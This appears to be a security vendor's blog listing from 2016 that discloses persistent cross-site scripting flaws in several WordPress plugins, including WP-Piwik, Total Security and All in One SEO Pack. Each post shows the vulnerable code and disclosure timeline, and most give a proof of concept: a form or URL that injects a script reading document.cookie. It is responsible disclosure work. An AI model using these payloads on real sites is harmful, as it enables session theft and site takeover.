12 Jan

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in Chained Quiz

This post's content is only accessible to those who have an active account with our service. If you currently have one then please log in to view the content. If you don't currently have one, when you sign up now you can try the service for free for the first month.

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

03 Oct

Persistent Cross-Site Scripting (XSS) Vulnerability in WP Quick Booking Manager

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin WP Quick Booking Manager, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. For this plugin we then noticed another security vulnerability, a persistent cross-site scripting (XSS) vulnerability, that looks to be easier to exploit and that type of vulnerability is more often targeted (though usually with plugin with a lot more active installations than this one).

In the file /scbooking.php the function gen_save_cssfixfront() is made accessible to those not logged in through WordPress’ AJAX functionality:

721
add_action( 'wp_ajax_nopriv_gen_save_cssfixfront','gen_save_cssfixfront' );

That function takes user input and stores it to be shown on Calendar pages generated by the plugin:

703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
function gen_save_cssfixfront(){
  if ( count($_POST) > 0 ){ 
    global $table_prefix,$wpdb;
 
    $cssfix = $_REQUEST['cssfix'];
    $css = $_REQUEST['css'];
    $isupdate ="";
    if($cssfix == "front"){
      $isupdate = update_option('cssfix_front',$css);
    }
    if($isupdate){
      echo "added";
    }
 
  }
  exit;
}

The is no sanitization done when it is being stored and no escaping when it is being output in the file /includes/fullcalendar_shortcode.php:

$cssfix_front = get_option('cssfix_front');
$output .= '<style type="text/css">'.$cssfix_front.'</style>

Proof of Concept

The following proof of concept will cause the contents of any accessible cookies to be shown in an alert box on the pages containing the shortcode “[gen_sccalendar]”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="gen_save_cssfixfront" />
<input type="hidden" name="cssfix" value="front" />
<input type="hidden" name="css" value="</style><script>alert(document.cookie);</script><style>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.
03 Oct

Persistent Cross-Site Scripting (XSS) Vulnerability in EventCommerce WP Event Calendar

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin EventCommerce WP Event Calendar, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. For this plugin we then noticed another security vulnerability, a persistent cross-site scripting (XSS) vulnerability, that looks to be easier to exploit and that type of vulnerability is more often targeted (though usually with plugin with a lot more active installations than this one).

In the file /evntgen-scbooking.php the function evntgen_save_cssfixfront() is made accessible to those not logged in through WordPress’ AJAX functionality:

1227
add_action( 'wp_ajax_nopriv_evntgen_save_cssfixfront','evntgen_save_cssfixfront' );

That function takes user input and stores it to be shown on Calendar pages generated by the plugin:

1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
function evntgen_save_cssfixfront(){
  if ( count($_POST) > 0 ){ 
    global $table_prefix,$wpdb;
    $cssfix = $_REQUEST['cssfix'];
    $css = $_REQUEST['css'];
    $isupdate ="";
    if($cssfix == "front"){
      $isupdate = update_option('cssfix_front',$css);
    }
    if($isupdate){
      echo "added";
    }
  }
  exit;
}

The is no sanitization done when it is being stored and no escaping when it is being output in the file /operations/get_cssfixfront.php:

$cssfix_front = get_option('cssfix_front');
$output .= '<style type="text/css">
 '.$cssfix_front.'
 </style>';

Proof of Concept

The following proof of concept will cause the contents of any accessible cookies to be shown in an alert box on the pages containing the shortcode “[evntgen_sccalendar]”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="evntgen_save_cssfixfront" />
<input type="hidden" name="cssfix" value="front" />
<input type="hidden" name="css" value="</style><script>alert(document.cookie);</script><style>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.
03 Oct

Persistent Cross-Site Scripting (XSS) Vulnerability in WordPress Appointment Schedule Booking System

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin WordPress Appointment Schedule Booking System, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. For this plugin we then noticed another security vulnerability, a persistent cross-site scripting (XSS) vulnerability, that looks to be easier to exploit and that type of vulnerability is more often targeted (though usually with plugin with a lot more active installations than this one).

In the file /appointgen-scappointment.php the function appointgen_save_cssfixfront() is made accessible to those not logged in through WordPress’ AJAX functionality:

485
add_action( 'wp_ajax_nopriv_appointgen_save_cssfixfront','appointgen_save_cssfixfront' );

That function takes user input and stores it to be shown on Calendar pages generated by the plugin:

470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
function appointgen_save_cssfixfront(){
  if ( count($_POST) > 0 ){ 
    global $table_prefix,$wpdb;
    $cssfix = $_REQUEST['cssfix'];
    $css = $_REQUEST['css'];
    $isupdate ="";
    if($cssfix == "front"){
      $isupdate = update_option('cssfix_front',$css);
    }
    if($isupdate){
      echo "added";
    }
  }
  exit;
}

The is no sanitization done when it is being stored and no escaping when it is being output in the file /operations/get_cssfixfront.php:

$cssfix_front = get_option('cssfix_front');
$output .= '<style type="text/css">
 '.$cssfix_front.'
 </style>';

Proof of Concept

The following proof of concept will cause the contents of any accessible cookies to be shown in an alert box on the pages containing the shortcode “[appointgen_sccalendar]”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="appointgen_save_cssfixfront" />
<input type="hidden" name="cssfix" value="front" />
<input type="hidden" name="css" value="</style></style><script>alert(document.cookie);</script><style>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.
06 Sep

Persistent Cross-Site Scripting (XSS) Vulnerability in 404 to 301

One of the things we think is important when disclosing vulnerabilities in WordPress plugins is to provide the details so that others can review those, that isn’t a view held by everyone as one WordPress security companies has been holding back details while claiming to put the WordPress community first. There are a number of reason we feel that is important, starting with the fact that we often find vulnerabilities haven’t actually been fixed, which is easy to spot and then get fixed if you can see all of the details. Another reason is that we have often seen that upon reviewing the vulnerability report someone will spot an additional security issue in the same plugin. Having the details also can allow for spotting the same type of vulnerability in other plugins. The final two came together recently for us to spot a minor persistent cross-site scripting (XSS) vulnerability in the plugin 404 to 301 and suggest further improvement to their securing user input brought in to the plugin.

The report that made us look into this was from Louis Dion-Marcil of a related persistent cross-site scripting (XSS) vulnerability. While checking over that to add to our data set we noticed that there was still a more limited issue. The original vulnerability could have allowed malicious JavaScript to run when just visiting the plugin’s admin page. From seeing a number of other reports we were aware that there is potential this type of vulnerability by creating a link that runs JavaScript, for example,  “javascript:alert(“XSS”);” and found that it could be implemented in a referer user input in the plugin. The limit of that here is not only do you have click on the link, but the malicious code would be visible before clicking the link:

While that isn’t a huge threat, it would be easy to fix and in looking over the code we found that there was room for improvement over the code changes made in version 2.3.1, which fixed the previous vulnerability.

In version 2.3.0 the refer input was not sanitized when brought into the plugin in the function get_error_data() (in the file /public/class-404-to-301-public.php):

private function get_error_data() {
	
	$server = array(
		'url' => 'REQUEST_URI',
		'ref' => 'HTTP_REFERER',
		'ua' => 'HTTP_USER_AGENT',
	);
	
	$data['date'] = current_time('mysql');
	$data['ip'] = $this->get_ip();
	foreach ( $server as $key => $value ) {
		if ( ! empty( $_SERVER[ $value ] ) ) {
			$string = $_SERVER[ $value ];
		} else {
			$string = '';
		}

		$data[ $key ] = $this->get_clear_empty( $string );
	}
	
	return $data;
}

and not escaped on the plugin’s admin page (in the file /admin/class-404-to-301-logs.php):

339
$ref_data = apply_filters( 'i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $item['ref'] . '" target="_blank">' . $item['ref'] . '</a>', $item['ref'] ) );

In 2.3.1 the value is escaped when output:

340
341
342
343
$ref = sanitize_text_field( $item['ref'] );
 
// Apply filter - i4t3_log_list_ref_column
$ref_data = apply_filters( 'i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $ref . '" target="_blank">' . $ref . '</a>', $ref ) );

The function used to escape the value sanitize_text_field() properly secure against the issue raised in the previous vulnerability, but doesn’t deal with the second since the value “javascript:alert(“XSS”);” isn’t modified by any changes made by that function. One way to fix this would be to use the esc_url() function when outputting the value as URL. The limitation of that and to the previous fix is that it would relatively easy to use the underlying value somewhere else in the code and forget that you needed to escape it. The safer option is to sanitize the value when it comes into the plugin, that way it always secure when outputting it.

After we notified the developer of the issue and the possible solutions version 2.3.3 was released, which sanitizes the input

254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
private function get_error_data() {
 
	// Get request data.
	$url = empty( $_SERVER['REQUEST_URI'] ) ? '' : trailingslashit( esc_url( $_SERVER['REQUEST_URI'] ) );
	$ref = empty( $_SERVER['HTTP_REFERER'] ) ? '' : esc_url( $_SERVER['HTTP_REFERER'] );
	$ua = empty( $_SERVER['HTTP_USER_AGENT'] ) ? '' : $_SERVER['HTTP_USER_AGENT'];
 
	$data['date'] = current_time('mysql');
	$data['ip'] = $this->get_ip();
	$data['url'] = $this->get_clear_empty( $url );
	$data['ref'] = $this->get_clear_empty( $ref );
	$data['ua'] = $this->get_clear_empty( $ua );
 
	return $data;
}

Proof of Concept

Request a page that does not exist with your web browser’s referer set to “javascript:alert(document.cookie);”.

Afterwards, when visiting the page /wp-admin/admin.php?page=i4t3-logs any available cookies to be shown in alert box when clicking on the From link of the relevant listing.

Timeline

  • 8/31/2016 – Developer notified.
  • 8/31/2016 – Version 2.3.3 released, which fixes the issue.
29 Aug

Persistent Cross-Site Scripting (XSS) Vulnerability in WP-Piwik

As we continue to review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted a persistent cross-site scripting (XSS) vulnerability in the plugin WP-Piwik.

Back in January a request was made for the file /wp-content/plugins/wp-piwik/js/wp-piwik.js, for what was may have been a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that as of version 1.0.9 anyone (even if they were not logged in) can change the plugin’s settings and through those settings they could add malicious JavaScript code to the website’s page.

With the plugin enabled an instance of the class WP_Piwik is created whenever a WordPress page is loaded. That class is defined in the file /classes/WP_Piwik.php. The constructor in that class calls a function setup():

20
21
22
23
24
25
public function __construct() {
	global $blog_id;
	self::$blog_id = (isset ( $blog_id ) ? $blog_id : 'n/a');
	$this->openLogger ();
	$this->openSettings ();
	$this->setup ();

That in turn will call the function applySettings() if the function isConfigSubmitted() is true:

41
42
43
44
45
46
47
48
private function setup() {
	self::$pluginBasename = plugin_basename ( __FILE__ );
	if (! $this->isInstalled ())
		$this->installPlugin ();
	elseif ($this->isUpdated ())
		$this->updatePlugin ();
	if ($this->isConfigSubmitted ())
		$this->applySettings ();

The isConfigSubmitted() will return true if the POST input “wp-piwik” exists:

617
618
619
private function isConfigSubmitted() {
	return isset ( $_POST ) && isset ( $_POST ['wp-piwik'] );
}

The applySettings() function in turns call the applyChanges() function:

566
567
private function applySettings() {
	self::$settings->applyChanges ( $_POST ['wp-piwik'] );

The applyChanges() function (located in the file /classes/WP_Piwik/Settings.php) will update the plugin’s settings without doing any checks to make sure an authorized user is the one trying to update them:

277
278
279
280
281
282
283
284
285
286
public function applyChanges($in) {
	$in = $this->checkSettings ( $in );
	self::$wpPiwik->log ( 'Apply changed settings:' );
	foreach ( self::$defaultSettings ['globalSettings'] as $key => $val )
		$this->setGlobalOption ( $key, isset ( $in [$key] ) ? $in [$key] : $val );
	foreach ( self::$defaultSettings ['settings'] as $key => $val )
		$this->setOption ( $key, isset ( $in [$key] ) ? $in [$key] : $val );
	$this->setGlobalOption ( 'last_settings_update', time () );
	$this->save ();
}

By changing the track_mode and tracking_code settings arbitrary JavaScript code can be placed on the website’s pages.

We notified the developer on August 15, but have not heard back from and the plugin has not been fixed. We notified the Plugin Directory of the issue as of this being posted and the plugin will likely be removed from that until it is fixed.

The vulnerability is not exploitable when the plugin is deactivated, so disabling it until it is fixed will protect you. If you still need to use it, a workaround is to disable the changing of settings by editing the file /classes/WP_Piwik.php and commenting out the following lines:

47
48
if ($this->isConfigSubmitted ())
	$this->applySettings ();

Since the vulnerability may already be exploited we are adding it to the data included with companion plugin for the service, so for those that have our plugin installed they will start getting notified if they are using a vulnerable version of the WP-Piwik plugin installed, even if they are not yet signed up the service.

Proof of Concept

The following proof of concept will cause an alert that says “XSS” to be shown on the website’s pages.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="wp-piwik[track_mode]" value="manually" />
<input type="hidden" name="wp-piwik[tracking_code]" value='<script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/15/2016 – Developer Notified
  • 8/29/2016 – WordPress.org Plugin Directory notified.
  • 9/2/2016 – Version 1.0.11 released, which fixes vulnerability.
18 Jul

Persistent Cross-Site Scripting (XSS) Vulnerability in Total Security

We were recently doing some basic security checks over WordPress security plugins and identified a possible issue in the plugin Total Security. While the issue we first were looking into turn out to not be exploitable, we noticed a couple of other security vulnerabilities in the plugin. The first one is a persistent cross-site scripting (XSS) vulnerability that is in the 404 log feature, which is disabled by default, due to lack of proper handling of user input data.

While it seems pretty bad that a security plugin has security vulnerabilities of its own, what is more incredible is the response from the developer. It took them 5 days to get back to us and at that point it doesn’t even look like they have really looked over the information we provided them, since they were asking what the solution to the vulnerabilities despite much of that being provided in a link we had included in original message. Yesterday, 17 days later, they released a new version of the plugin, 3.3.8, which didn’t fix either of the vulnerabilities. Oddly the version available before that was 3.4, so they move backed versions as well.

When a 404 request, a request for a page that doesn’t exist, is made that is logged by the plugin using the function fdx_logevent(), located in the file /modules/class-p4.php. You can see that in version 3.4 the value is only sanitized to be used in an SQL statement, esc_sql:

60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function fdx_logevent() {
   $settings = Total_Security::fdx_get_settings();
	global $wpdb;
 
//       define( 'DONOTCACHEPAGE', true );		// WP Super Cache and W3 Total Cache recognise this
 
	//ignor boots
	if ($settings['p4_check_2'] && !empty( $_SERVER['HTTP_USER_AGENT'] ) && preg_match( '/(bot|spider)/', $_SERVER['HTTP_USER_AGENT'] ) )
	return;
	//ignor whithow http refer
		if ($settings['p4_check_3'] && empty($_SERVER['HTTP_REFERER'] ) )
	return;
 
	$host = esc_sql( $this->fdxgetIp() );
	$url = esc_sql( $_SERVER['REQUEST_URI'] );
	$referrer = esc_sql( $this->getRefe() );
 
	//log to database
	$wpdb->insert(
		$wpdb->base_prefix . 'total_security_log',
		array(
			'timestamp' => current_time( 'timestamp' ),
			'host' => $host,
			'url' => $url,
			'referrer' => $referrer
		)
	);
 
					}

The value for the request’s referrer comes from the function getRefe(), which doesn’t do any sanitization

44
45
46
47
48
49
50
51
function getRefe() {
 if ( isset( $_SERVER['HTTP_REFERER']  ) ) {
		$theRefe = $_SERVER['HTTP_REFERER'];
	} else {
		$theRefe = '';
	}
return $theRefe;
		}

When that is output on the page /wp-admin/admin.php?page=total-security-error-404-log, it is not escaped.

It is brought in here:

235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
$data = $wpdb->get_results( "SELECT id, referrer, timestamp, host, url FROM `" . $wpdb->base_prefix . "total_security_log` $search ORDER BY timestamp DESC;", ARRAY_A );
 
 
usort ( $data, array( &amp;$this, 'sortrows' ) );
 
$per_page = 50; //50 items per page
$current_page = $this->get_pagenum();
$total_items = count( $data );
 
$data = array_slice( $data,( ( $current_page - 1 ) * $per_page ), $per_page );
 
 
 
 
$rows = array();
$count = 0;
 
	//Loop through results and take data we need
foreach ( $data as $item => $attr ) {
 
	$rows[$count]['timestamp'] = $attr['timestamp'];
	$rows[$count]['id'] = $attr['id'];
	$rows[$count]['host'] = $attr['host'];
	$rows[$count]['uri'] = $attr['url'];
	$rows[$count]['referrer'] = $attr['referrer'];
	$count++;
 
}
 
$this->items = $rows;
$this->set_pagination_args(
	array(
	'total_items' => $total_items,
	'per_page'    => $per_page,
	'total_pages' => ceil( $total_items/$per_page )
	)
);

And then output here:

189
 $r = '<div class="crop" id="grenn"><a href="' . $item['referrer'] . '" target="_blank" title="' . $item['referrer'] . '">' . $item['referrer'] . '</a></div>';

Proof of Concept

With the 404 log feature enabled in the plugin, request a page that does not exist with your web browser’s referrer set to “<script>alert(document.cookie);</script>”.

Afterwards, when visiting the page /wp-admin/admin.php?page=total-security-error-404-log any available cookies to be shown in alert box on pages from the plugin.

Timeline

  • 6/30/2016 – Developer notified.
  • 7/5/2016 – Developer notified.
  • 7/18/2016 – WordPress.org Plugin Directory notified.
  • 7/19/2016 – Removed from WordPress.org Plugin Directory.
  • 8/10/2016 – Version 3.4.1 released, which fixes vulnerability.
13 Jul

Protecting You Against Wordfence’s Bad Practices: XSS Vulnerability in All in One SEO Pack

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

The latest in our ongoing series of putting out the details of details of vulnerabilities discovered by Wordfence is good example of why what Wordfence is doing is hurting the security of WordPress plugins. In this case they saw a report of  a persistent cross-site scripting (XSS) vulnerability in the plugin All in One SEO Pack and discovered a similar vulnerability, which is something that often happens we security researchers see reports of vulnerabilities in plugins. The difference is that with that report, like other reports by responsible parties, it included the details of the vulnerabilities, so it was easy for Wordfence to see what the issue was in that case. By Wordfence excluding those details it makes it harder to do the same with vulnerabilities that they have discovered, but through our work on this we have already found two additional security vulnerabilities in the Yoast SEO plugin and one in the WP Fastest Cache plugin.

Wordfence describes this vulnerability as “unauthenticated stored XSS vulnerability allows an attacker to inject javascript code into a page that requires admin privileges to view. When a site admin visits the page, the malicious code that runs can perform administrative actions such as modifying existing user privileges, creating a new admin user or stealing admin session tokens.” and “This exploit only works if the user has enabled the sitemap module in the plugin.”

Looking at the changes made in the version that fixed this, 2.3.8, the first part that stands out is escaping is now done on a debug message for the sitemap module.

In version 2.3.7 the code looked like this (in the file /modules/aioseop_sitemap.php):

if ( $this->option_isset( 'debug' ) ) {
 $options["{$this->prefix}debug"] = '<pre>' . $options["{$this->prefix}debug"] . '</pre>';
}

In version 2.3.8 the value is run through esc_html():

if ( $this->option_isset( 'debug' ) ) {
 $debug_msg = esc_html( $options["{$this->prefix}debug"] );
 $options["{$this->prefix}debug"] = '<pre>' . $debug_msg . '</pre>';
}

So the persistent cross-site scripting (XSS) was occurring in the debug messages, but we still need to find how it could be set by an unauthenticated attacker.

That brings us to other change made in that version, which was to modify the function log_stats().

In version 2.3.7 it looked like this (in the file /modules/aioseop_sitemap.php):

1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
function log_stats( $sitemap_type = 'root', $compressed = false, $dynamic = true ) {
	$time                 = timer_stop();
	$end_memory_usage     = memory_get_peak_usage();
	$sitemap_memory_usage = $end_memory_usage - $this->start_memory_usage;
	$end_memory_usage     = $end_memory_usage / 1024.0 / 1024.0;
	$sitemap_memory_usage = $sitemap_memory_usage / 1024.0 / 1024.0;
	if ( $compressed ) {
		$sitemap_type = __( 'compressed', 'all-in-one-seo-pack' ) . " $sitemap_type";
	}
	if ( $dynamic ) {
		$sitemap_type = __( 'dynamic', 'all-in-one-seo-pack ' ) . " $sitemap_type";
	} else {
		$sitemap_type = __( 'static', 'all-in-one-seo-pack ' ) . " $sitemap_type";
	}
	$this->debug_message( sprintf( ' %01.2f MB memory used generating the %s sitemap in %01.3f seconds, %01.2f MB total memory used.', $sitemap_memory_usage, $sitemap_type, $time, $end_memory_usage ) );
}

In version 2.3.8 it looks like this:

1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
function log_stats( $sitemap_type = 'static', $compressed = false, $dynamic = true ) {
	$time                 = timer_stop();
	$end_memory_usage     = memory_get_peak_usage();
	$sitemap_memory_usage = $end_memory_usage - $this->start_memory_usage;
	$end_memory_usage     = $end_memory_usage / 1024.0 / 1024.0;
	$sitemap_memory_usage = $sitemap_memory_usage / 1024.0 / 1024.0;
	$sitemap_type         = __( 'static', 'all-in-one-seo-pack ' );
	if ( $compressed ) {
		$sitemap_type = __( 'compressed', 'all-in-one-seo-pack' );
	}
	if ( $dynamic ) {
		$sitemap_type = __( 'dynamic', 'all-in-one-seo-pack ' );
	}
	$this>debug_message( sprintf( ' %01.2f MB memory used generating the %s sitemap in %01.3f seconds, %01.2f MB total memory used.', $sitemap_memory_usage, $sitemap_type, $time, $end_memory_usage ) );
}

The key difference being that the value of $sitemap_type, which used in the debug message, is set in the function instead having the possibility of being the value passed to the function.

A little looking over the rest of the code shows why that is important. The function sitemap_output_hook() is made accessible when not logged in to WordPress through the this line:

1041
add_action( 'parse_query', array( $this, 'sitemap_output_hook' ) );

The function sitemap_output_hook() will call the function log_stats() that we just looked at with a user specified value for $sitemap_type set in this line:

1166
$sitemap_type             = $query->query_vars["{$this->prefix}path"];

Since there is no sanitization done at that point, you could have previously sent a request with malicious JavaScript code set to that URL parameter and it would have been shown in debug message on the sitemap module’s page in the admin.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box on the page /wp-admin/admin.php?page=all-in-one-seo-pack%2Fmodules%2Faioseop_sitemap.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/?aiosp_sitemap_path=<script>alert(document.cookie);</script>
22 Jun

Persistent Cross-Site Scripting (XSS) Vulnerability in WordPress File Monitor

Recently we have been catching a lot of vulnerabilities in plugins by looking at what appear to be hackers probing for usage of plugins on our websites and looking through the plugins for security vulnerabilities. Due to the success of that we are looking for more data on that type of probing so that we can catch more vulnerabilities, so that we can warn our customers about security issues in plugins they might be using and also to limit the impact those vulnerabilities can have on others as well. Through that we came across a request for the plugin WordPress File Monitor. That is a security plugin designed to monitor for file changes, which we found has security vulnerability that would allow a hacker to cause file changes they made to be ignored and more importantly allows for persistent cross-site scripting (XSS).

The problem starts with a request for the URL /wp-admin/options-general.php?page=WordPressFileMonitor&display=alertDesc, when that is requested the following code is run:

148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
$alertDesc = get_option('wpfm_alertDesc');
?>
<form action="<?php echo get_bloginfo('wpurl'); ?>/wp-admin/options-general.php?page=WordPressFileMonitor" method="post" accept-charset="utf-8">
	<?php if (function_exists('wp_nonce_field')) { wp_nonce_field('wpfm-update-options'); } ?>
	<input type="hidden" name="msw_wpfm_action" value="clear_alert" id="msw_wpfm_action">
	<p class="submit"><input type="submit" value="<?php _e('Remove Alert', 'wordpress_file_monitor'); ?>"></p>
</form>
<?php
if (!$alertDesc) {
	// Shouldn't land in here, but just in case ...
	_e('No alert(s) to display', 'wordpress_file_monitor');
} else {
	echo str_replace("\n", "<br/>", $alertDesc);
}
exit;

The important thing to notice in that is that it generates a nonce for the action “wpfm-update-options” with the code “wp_nonce_field(‘wpfm-update-options’)”. With that you can then get access to functions to update the plugin’s options, run a scan and clear an alert:

128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
check_admin_referer('wpfm-update-options'); // Security check
switch ($_POST['msw_wpfm_action']) {
	case 'update_options':
		$this->update_options($_POST); // Update options based on form submission
		break;
	case 'scan_site':
		$this->scan_site();
		break;
	case 'clear_alert':
		$this->activeAlert = false;
		delete_option('wpfm_alert');
		delete_option('wpfm_alertDesc');
		break;
	default:
		break;
}

The update_options() function doesn’t do any sanitization on the inputs passed to it:

166
167
168
169
170
171
172
173
174
function update_options($newOptions) {
	foreach ($this->options as $option=>$value) { // Loop through post variables and get form fields corresponding to valid settings
		if ($option == 'exclude_paths' || $option == 'site_root') { $value = trim(stripslashes($value)); }
		$options[$option] = $newOptions[$option];
	}
	if (!get_option('wpfm_options')) { add_option('wpfm_options', '', null, 'no'); } // Add option if it does not exist
	update_option('wpfm_options', maybe_serialize($options)); // Set settings to new values
	$this->options = $options;
}

When the values are outputted on the plugin’s admin page, /wp-admin/options-general.php?page=WordPressFileMonitor, they are not escaped. For example, the value for “’scan_interval” is output with this line:

215
<input id="scan_interval" name="scan_interval" type="text" value="&lt;?php echo @$this->options['scan_interval']; ?>" /> (<!--?php _e('in minutes', 'wordpress_file_monitor'); ?-->, <!--?php _e('0 for Manual Scan only', 'wordpress_file_monitor'); ?-->)

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the WordPress File Monitor Options page, /wp-admin/options-general.php?page=WordPressFileMonitor.

First you need to get the value of the nonce to used in the second step. You can do that by visit the page http://[path to WordPress]/wp-admin/options-general.php?page=WordPressFileMonitor&display=alertDesc (make sure to replace “[path to WordPress]” with the location of WordPress) and in the source code find the line that starts

<input type=”hidden” id=”_wpnonce” name=”_wpnonce” value=”

The value of the input “_wpnonce” is the nonce value to be filled in at “[nonce value]”.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=WordPressFileMonitor" method="POST">
<input type="hidden" name="_wpnonce" value="[nonce value]">
<input type="hidden" name="msw_wpfm_action" value="update_options">
<input type="hidden" name="scan_interval" value=':"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/22/2016 –  WordPress.org Plugin Directory notified.
  • 6/28/2016 – Removed from Plugin Directory.
07 Jun

Persistent Cross-Site Scripting (XSS) Vulnerability in Royal Gallery

The Royal Gallery plugin has a persistent cross-site scripting (XSS) vulnerability (and possibly other security issues) as of version 2.3. The details of the underlying issue that causes this can be found in our post for the same vulnerability in the plugin Flip Slideshow, which shares the same vulnerable code.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=splendidgallery_settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=splendidgallery_settings" method="post">
<input type="hidden" name="task" value="save_spg_settings" />
<input type="hidden" name="settings[bannerWidth]" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/7/2016 – WordPress.org Plugin Directory notified.